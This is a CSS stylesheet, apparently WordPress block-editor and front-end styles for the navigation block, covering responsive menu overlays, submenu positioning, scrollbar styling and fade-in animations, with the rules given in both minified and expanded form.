.wp-block-navigation__responsive-container.is-menu-open{
  position:fixed;
  top:155px;
}
@media (min-width:782px){
  .wp-block-navigation__responsive-container.is-menu-open{
    left:36px;
    top:93px;
  }
}
@media (min-width:960px){
  .wp-block-navigation__responsive-container.is-menu-open{
    left:160px;
  }
}

@media (min-width:782px){
  .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{
    top:141px;
  }
}

.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:141px;
}

.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{
  right:280px;
}

.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
  left:0;
  top:155px;
}
@media (min-width:782px){
  .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
    top:61px;
  }
  .is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{
    top:109px;
  }
}
.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:109px;
}

body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{
  bottom:0;
  left:0;
  right:0;
  top:0;
}

.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  color:inherit;
  height:auto;
  padding:0;
}

.components-heading.wp-block-navigation-off-canvas-editor__title{
  margin:0;
}

.wp-block-navigation-off-canvas-editor__header{
  margin-bottom:8px;
}

.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{
  margin-top:16px;
}

@keyframes fadein{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.wp-block-navigation__loading-indicator-container{
  padding:8px 12px;
}

.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{
  margin-top:0;
}

@keyframes fadeouthalf{
  0%{
    opacity:1;
  }
  to{
    opacity:.5;
  }
}
.wp-block-navigation-delete-menu-button{
  justify-content:center;
  margin-bottom:16px;
  width:100%;
}

.components-button.is-link.wp-block-navigation-manage-menus-button{
  margin-bottom:16px;
}

.wp-block-navigation__overlay-menu-preview{
  align-items:center;
  background-color:#f0f0f0;
  display:flex;
  height:64px;
  justify-content:space-between;
  margin-bottom:12px;
  padding:0 24px;
  width:100%;
}
.wp-block-navigation__overlay-menu-preview.open{
  background-color:#fff;
  box-shadow:inset 0 0 0 1px #e0e0e0;
  outline:1px solid #0000;
}

.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{
  display:none;
}
.wp-block-navigation__navigation-selector{
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__navigation-selector-button{
  border:1px solid;
  justify-content:space-between;
  width:100%;
}

.wp-block-navigation__navigation-selector-button__icon{
  flex:0 0 auto;
}

.wp-block-navigation__navigation-selector-button__label{
  flex:0 1 auto;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.wp-block-navigation__navigation-selector-button--createnew{
  border:1px solid;
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__responsive-container-open.components-button{
  opacity:1;
}

.wp-block-navigation__menu-inspector-controls{
  overflow-x:auto;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  will-change:transform;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .wp-block-navigation__menu-inspector-controls{
    scrollbar-color:#949494 #0000;
  }
}

.wp-block-navigation__menu-inspector-controls__empty-message{
  margin-left:24px;
}.wp-block-navigation{position:relative;--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center}.wp-block-navigation ul{margin-bottom:0;margin-right:0;margin-top:0;padding-right:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{align-items:center;background-color:inherit;display:flex;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{display:block}.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{color:inherit}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation:where(:not([class*=has-text-decoration])) a{text-decoration:none}.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{text-decoration:none}.wp-block-navigation .wp-block-navigation__submenu-icon{align-self:center;background-color:inherit;border:none;color:currentColor;display:inline-block;font-size:inherit;height:.6em;line-height:0;margin-right:.25em;padding:0;width:.6em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{display:inline-block;stroke:currentColor;height:inherit;margin-top:.075em;width:inherit}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{align-items:normal;background-color:inherit;color:inherit;display:flex;flex-direction:column;height:0;opacity:0;overflow:hidden;position:absolute;right:-1px;top:100%;transition:opacity .1s linear;visibility:hidden;width:0;z-index:2}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-left:0;margin-right:auto}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{margin:0}@media (min-width:782px){.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;left:100%;position:absolute;width:.5em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{margin-left:.25em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{transform:rotate(90deg)}}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{right:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:0}}.wp-block-navigation-submenu{display:flex;position:relative}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:initial;border:none;color:currentColor;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;line-height:inherit;text-align:right;text-transform:inherit}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-left:.85em;padding-right:0}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-right:-.6em;pointer-events:none}.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){padding:0}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){padding:.5em 1em}:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{left:0;right:auto}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:-1px;right:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;right:auto}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;border:1px solid #00000026}.wp-block-navigation.has-background .wp-block-navigation__submenu-container{background-color:inherit}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{color:#000}.wp-block-navigation__container{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial);list-style:none;margin:0;padding-right:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}@keyframes overlay-menu__fade-in-animation{0%{opacity:0;transform:translateY(.5em)}to{opacity:1;transform:translateY(0)}}.wp-block-navigation__responsive-container{bottom:0;display:none;left:0;position:fixed;right:0;top:0}.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){color:inherit}.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{animation:overlay-menu__fade-in-animation .1s ease-out;animation-fill-mode:forwards;background-color:inherit;display:flex;flex-direction:column;overflow:auto;padding:clamp(1rem,var(--wp--style--root--padding-top),20rem) clamp(1rem,var(--wp--style--root--padding-left),20em) clamp(1rem,var(--wp--style--root--padding-bottom),20rem) clamp(1rem,var(--wp--style--root--padding-right),20rem);z-index:100000}@media (prefers-reduced-motion:reduce){.wp-block-navigation__responsive-container.is-menu-open{animation-delay:0s;animation-duration:1ms}}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-justification-setting,inherit);display:flex;flex-direction:column;flex-wrap:nowrap;overflow:visible;padding-top:calc(2rem + 24px)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{border:none;height:auto;min-width:200px;opacity:1;overflow:initial;padding-left:2rem;padding-right:2rem;position:static;visibility:visible;width:auto}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{align-items:var(--navigation-layout-justification-setting,initial);display:flex;flex-direction:column}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{background:#0000!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:auto;right:auto}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){background-color:inherit;display:block;position:relative;width:100%;z-index:auto}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{right:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{background-color:#fff}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{background:#0000;border:none;color:currentColor;cursor:pointer;margin:0;padding:0;text-transform:inherit;vertical-align:middle}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;display:block;height:24px;pointer-events:none;width:24px}.wp-block-navigation__responsive-container-open{display:flex}.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{font-family:inherit;font-size:inherit;font-weight:inherit}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{left:0;position:absolute;top:0;z-index:2}.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{font-family:inherit;font-size:inherit;font-weight:inherit}.wp-block-navigation__responsive-close{width:100%}.has-modal-open .wp-block-navigation__responsive-close{margin-left:auto;margin-right:auto;max-width:var(--wp--style--global--wide-size,100%)}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:46px}@media (min-width:782px){.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:32px}}html.has-modal-open{overflow:hidden}.wp-block-navigation{
  position:relative;
  --navigation-layout-justification-setting:flex-start;
  --navigation-layout-direction:row;
  --navigation-layout-wrap:wrap;
  --navigation-layout-justify:flex-start;
  --navigation-layout-align:center;
}
.wp-block-navigation ul{
  margin-bottom:0;
  margin-right:0;
  margin-top:0;
  padding-right:0;
}
.wp-block-navigation ul,.wp-block-navigation ul li{
  list-style:none;
  padding:0;
}
.wp-block-navigation .wp-block-navigation-item{
  align-items:center;
  background-color:inherit;
  display:flex;
  position:relative;
}
.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{
  display:none;
}
.wp-block-navigation .wp-block-navigation-item__content{
  display:block;
}
.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{
  color:inherit;
}
.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{
  text-decoration:underline;
}
.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{
  text-decoration:line-through;
}
.wp-block-navigation:where(:not([class*=has-text-decoration])) a{
  text-decoration:none;
}
.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{
  text-decoration:none;
}
.wp-block-navigation .wp-block-navigation__submenu-icon{
  align-self:center;
  background-color:inherit;
  border:none;
  color:currentColor;
  display:inline-block;
  font-size:inherit;
  height:.6em;
  line-height:0;
  margin-right:.25em;
  padding:0;
  width:.6em;
}
.wp-block-navigation .wp-block-navigation__submenu-icon svg{
  display:inline-block;
  stroke:currentColor;
  height:inherit;
  margin-top:.075em;
  width:inherit;
}
.wp-block-navigation.is-vertical{
  --navigation-layout-direction:column;
  --navigation-layout-justify:initial;
  --navigation-layout-align:flex-start;
}
.wp-block-navigation.no-wrap{
  --navigation-layout-wrap:nowrap;
}
.wp-block-navigation.items-justified-center{
  --navigation-layout-justification-setting:center;
  --navigation-layout-justify:center;
}
.wp-block-navigation.items-justified-center.is-vertical{
  --navigation-layout-align:center;
}
.wp-block-navigation.items-justified-right{
  --navigation-layout-justification-setting:flex-end;
  --navigation-layout-justify:flex-end;
}
.wp-block-navigation.items-justified-right.is-vertical{
  --navigation-layout-align:flex-end;
}
.wp-block-navigation.items-justified-space-between{
  --navigation-layout-justification-setting:space-between;
  --navigation-layout-justify:space-between;
}

.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  align-items:normal;
  background-color:inherit;
  color:inherit;
  display:flex;
  flex-direction:column;
  height:0;
  opacity:0;
  overflow:hidden;
  position:absolute;
  right:-1px;
  top:100%;
  transition:opacity .1s linear;
  visibility:hidden;
  width:0;
  z-index:2;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{
  display:flex;
  flex-grow:1;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{
  margin-left:0;
  margin-right:auto;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{
  margin:0;
}
@media (min-width:782px){
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    right:100%;
    top:-1px;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    left:100%;
    position:absolute;
    width:.5em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{
    margin-left:.25em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{
    transform:rotate(90deg);
  }
}
.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:visible;
  visibility:visible;
  width:auto;
}

.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{
  right:0;
  top:100%;
}
@media (min-width:782px){
  .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    right:100%;
    top:0;
  }
}

.wp-block-navigation-submenu{
  display:flex;
  position:relative;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{
  stroke:currentColor;
}

button.wp-block-navigation-item__content{
  background-color:initial;
  border:none;
  color:currentColor;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  line-height:inherit;
  text-align:right;
  text-transform:inherit;
}

.wp-block-navigation-submenu__toggle{
  cursor:pointer;
}

.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{
  padding-left:.85em;
  padding-right:0;
}
.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{
  margin-right:-.6em;
  pointer-events:none;
}

.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){
  padding:0;
}
.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{
  gap:inherit;
}
:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){
  padding:.5em 1em;
}

:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){
  padding:.5em 1em;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{
  left:0;
  right:auto;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
  left:-1px;
  right:-1px;
}
@media (min-width:782px){
  .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    right:auto;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{
  background-color:#fff;
  border:1px solid #00000026;
}

.wp-block-navigation.has-background .wp-block-navigation__submenu-container{
  background-color:inherit;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{
  color:#000;
}

.wp-block-navigation__container{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
  list-style:none;
  margin:0;
  padding-right:0;
}
.wp-block-navigation__container .is-responsive{
  display:none;
}

.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{
  flex-grow:1;
}
@keyframes overlay-menu__fade-in-animation{
  0%{
    opacity:0;
    transform:translateY(.5em);
  }
  to{
    opacity:1;
    transform:translateY(0);
  }
}
.wp-block-navigation__responsive-container{
  bottom:0;
  display:none;
  left:0;
  position:fixed;
  right:0;
  top:0;
}
.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){
  color:inherit;
}
.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){
  background-color:inherit !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open{
  animation:overlay-menu__fade-in-animation .1s ease-out;
  animation-fill-mode:forwards;
  background-color:inherit;
  display:flex;
  flex-direction:column;
  overflow:auto;
  padding:clamp(1rem, var(--wp--style--root--padding-top), 20rem) clamp(1rem, var(--wp--style--root--padding-left), 20em) clamp(1rem, var(--wp--style--root--padding-bottom), 20rem) clamp(1rem, var(--wp--style--root--padding-right), 20rem);
  z-index:100000;
}
@media (prefers-reduced-motion:reduce){
  .wp-block-navigation__responsive-container.is-menu-open{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-justification-setting, inherit);
  display:flex;
  flex-direction:column;
  flex-wrap:nowrap;
  overflow:visible;
  padding-top:calc(2rem + 24px);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  justify-content:flex-start;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{
  display:none;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{
  border:none;
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:initial;
  padding-left:2rem;
  padding-right:2rem;
  position:static;
  visibility:visible;
  width:auto;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  gap:inherit;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  padding-top:var(--wp--style--block-gap, 2em);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{
  padding:0;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  align-items:var(--navigation-layout-justification-setting, initial);
  display:flex;
  flex-direction:column;
}
